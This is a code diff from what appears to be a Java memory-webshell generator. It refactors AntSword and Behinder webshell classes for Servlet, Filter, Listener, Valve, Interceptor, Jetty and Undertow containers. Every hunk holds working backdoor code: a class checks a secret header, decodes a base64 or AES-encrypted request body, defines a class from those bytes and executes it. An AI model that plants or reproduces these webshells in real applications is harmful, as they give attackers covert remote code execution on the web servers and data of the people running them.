-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java

@@ -30,7 +30,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
                     && request.getHeader(headerName).contains(headerValue)) {
                 HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
             }
         } catch (Throwable e) {
@@ -42,28 +42,18 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
         return null;
     }
 
-    @SuppressWarnings("deprecation")
+    @SuppressWarnings("all")
-    public Class<?> g(byte[] cb) {
+    public static byte[] base64Decode(String bs) throws Exception {
-        return super.defineClass(cb, 0, cb.length);
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
     }
 
     @Override
     public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
     }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
-    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java

@@ -30,7 +30,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
         try {
             if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
             }
         } catch (Throwable e) {
@@ -38,6 +38,17 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
         }
     }
 
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
     @Override
     public String getServletInfo() {
         return "";
@@ -45,29 +56,6 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
 
     @Override
     public void destroy() {
-
-    }
-
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java

@@ -32,7 +32,7 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
             if (value != null && value.contains(headerValue)) {
                 String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
                 byte[] bytes = base64Decode(parameter);
-                Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
                 return true;
             }
@@ -42,24 +42,14 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
         return false;
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java

@@ -32,7 +32,7 @@ public class AntSwordValve extends ClassLoader implements Valve {
             if (request.getHeader(headerName) != null
                     && request.getHeader(headerName).contains(headerValue)) {
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
                 return;
             }
@@ -44,23 +44,13 @@ public class AntSwordValve extends ClassLoader implements Valve {
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Class g(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

@@ -27,8 +27,8 @@ public class Behinder extends ClassLoader {
     @Override
     public boolean equals(Object obj) {
         Object[] args = ((Object[]) obj);
-        Object request = unwrapRequest(args[0]);
+        Object request = unwrap(args[0], "request");
-        Object response = unwrapResponse(args[1]);
+        Object response = unwrap(args[1], "response");
 
         try {
             String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
@@ -40,8 +40,8 @@ public class Behinder extends ClassLoader {
                 map.put("response", response);
                 map.put("session", session);
                 String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine();
-                byte[] bytes = x(base64Decode(parameter), false);
+                byte[] bytes = x(base64Decode(parameter));
-                Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new Behinder(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(map);
                 return true;
             }
@@ -52,91 +52,50 @@ public class Behinder extends ClassLoader {
     }
 
     @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
+    public byte[] x(byte[] s) throws Exception {
-        return super.defineClass(b, 0, b.length);
-    }
-
-    @SuppressWarnings("all")
-    public byte[] x(byte[] s, boolean m) throws Exception {
         ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher");
         Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec");
         Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
         Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
         Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
-        initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(pass.getBytes(), "AES"));
+        initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
         Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
         return ((byte[]) doFinalMethod.invoke(c, s));
     }
 
     @SuppressWarnings("all")
-    public Object unwrapRequest(Object request) {
+    public Object unwrap(Object obj, String fieldName) {
-        Object internalRequest = request;
+        try {
-        while (true) {
+            return getFieldValue(obj, fieldName);
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(request, "request");
+            return obj;
-                if (r == internalRequest) {
-                    return r;
-                } else {
-                    internalRequest = r;
-                }
-            } catch (Exception e) {
-                return internalRequest;
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         try {
-            base64 = contextClassLoader.loadClass("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderControllerHandler.java

@@ -34,13 +34,13 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
             } catch (Throwable e) {
                 e.printStackTrace();
@@ -50,60 +50,37 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
     }
 
     @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
+    public Object unwrap(Object obj) {
-        return super.defineClass(b, 0, b.length);
+        try {
-    }
+            return getFieldValue(obj, "response");
-
+        } catch (Throwable e) {
-    @SuppressWarnings("all")
+            return obj;
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java

@@ -39,13 +39,13 @@ public class BehinderFilter extends ClassLoader implements Filter {
                 HttpSession session = ((HttpServletRequest) servletRequest).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", servletRequest);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
-                Object instance = (new BehinderFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
                 return;
             }
@@ -56,61 +56,38 @@ public class BehinderFilter extends ClassLoader implements Filter {
     }
 
     @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
+    public Object unwrap(Object obj) {
-        return super.defineClass(b, 0, b.length);
+        try {
-    }
+            return getFieldValue(obj, "response");
-
+        } catch (Throwable e) {
-    @SuppressWarnings("all")
+            return obj;
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderInterceptor.java

@@ -35,13 +35,13 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderInterceptor(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
             } catch (Throwable e) {
                 e.printStackTrace();
@@ -53,44 +53,37 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
     }
 
     @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
+    public Object unwrap(Object obj) {
-        Object internalResponse = response;
+        try {
-        while (true) {
+            return getFieldValue(obj, "response");
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(response, "response");
+            return obj;
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
+    }
-        } else {
+
-            field.setAccessible(true);
+    @SuppressWarnings("all")
-            return field.get(obj);
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
     }
 
@@ -104,22 +97,6 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
 
     }
 
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
-    }
-
     @Override
     public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
 

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java

@@ -53,14 +53,14 @@ public class BehinderJettyHandler extends ClassLoader {
                 session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
                 Map<String, Object> map = new HashMap<String, Object>(3);
                 map.put("request", request);
-                map.put("response", unwrapResponse(response));
+                map.put("response", unwrap(response));
                 map.put("session", session);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
                 BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
                 String parameter = reader.readLine();
                 byte[] bytes = c.doFinal(base64Decode(parameter));
-                Object instance = (new BehinderJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(map);
                 if (baseRequest != null) {
                     baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -74,60 +74,37 @@ public class BehinderJettyHandler extends ClassLoader {
     }
 
     @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
+    public Object unwrap(Object obj) {
-        Object internalResponse = response;
+        try {
-        while (true) {
+            return getFieldValue(obj, "response");
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(response, "response");
+            return obj;
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java

@@ -38,13 +38,13 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
                 HttpSession session = ((HttpServletRequest) request).getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
-                Object instance = (new BehinderListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderListener(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
             }
         } catch (Throwable e) {
@@ -57,64 +57,41 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
+    public Object unwrap(Object obj) {
-        Field field = null;
+        try {
-        Class<?> clazz = obj.getClass();
+            return getFieldValue(obj, "response");
-        while (clazz != Object.class) {
+        } catch (Throwable e) {
-            try {
+            return obj;
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
         }
     }
 
     @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        byte[] value = null;
+        Class<?> clazz = obj.getClass();
-        Class<?> base64;
+        while (clazz != Object.class) {
-        try {
+            try {
-            base64 = Class.forName("java.util.Base64");
+                Field field = clazz.getDeclaredField(name);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                field.setAccessible(true);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+                return field.get(obj);
-        } catch (Exception var6) {
+            } catch (NoSuchFieldException var5) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+                clazz = clazz.getSuperclass();
-            Object decoder = base64.newInstance();
+            }
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
+        throw new NoSuchFieldException();
     }
 
-    @SuppressWarnings("deprecation")
+    @SuppressWarnings("all")
-    public Class<?> g(byte[] cb) {
+    public static byte[] base64Decode(String bs) throws Exception {
-        return super.defineClass(cb, 0, cb.length);
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
     }
 
     @Override
     public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
     }
-
-    @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
-        Object internalResponse = response;
-        while (true) {
-            try {
-                Object r = getFieldValue(response, "response");
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
-        }
-    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java

@@ -38,13 +38,13 @@ public class BehinderServlet extends ClassLoader implements Servlet {
                 HttpSession session = request.getSession();
                 Map<String, Object> obj = new HashMap<String, Object>(3);
                 obj.put("request", request);
-                obj.put("response", unwrapResponse(response));
+                obj.put("response", unwrap(response));
                 obj.put("session", session);
                 session.setAttribute("u", this.pass);
                 Cipher c = Cipher.getInstance("AES");
                 c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
                 byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
-                Object instance = (new BehinderServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = new BehinderServlet(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(obj);
             }
         } catch (Throwable e) {
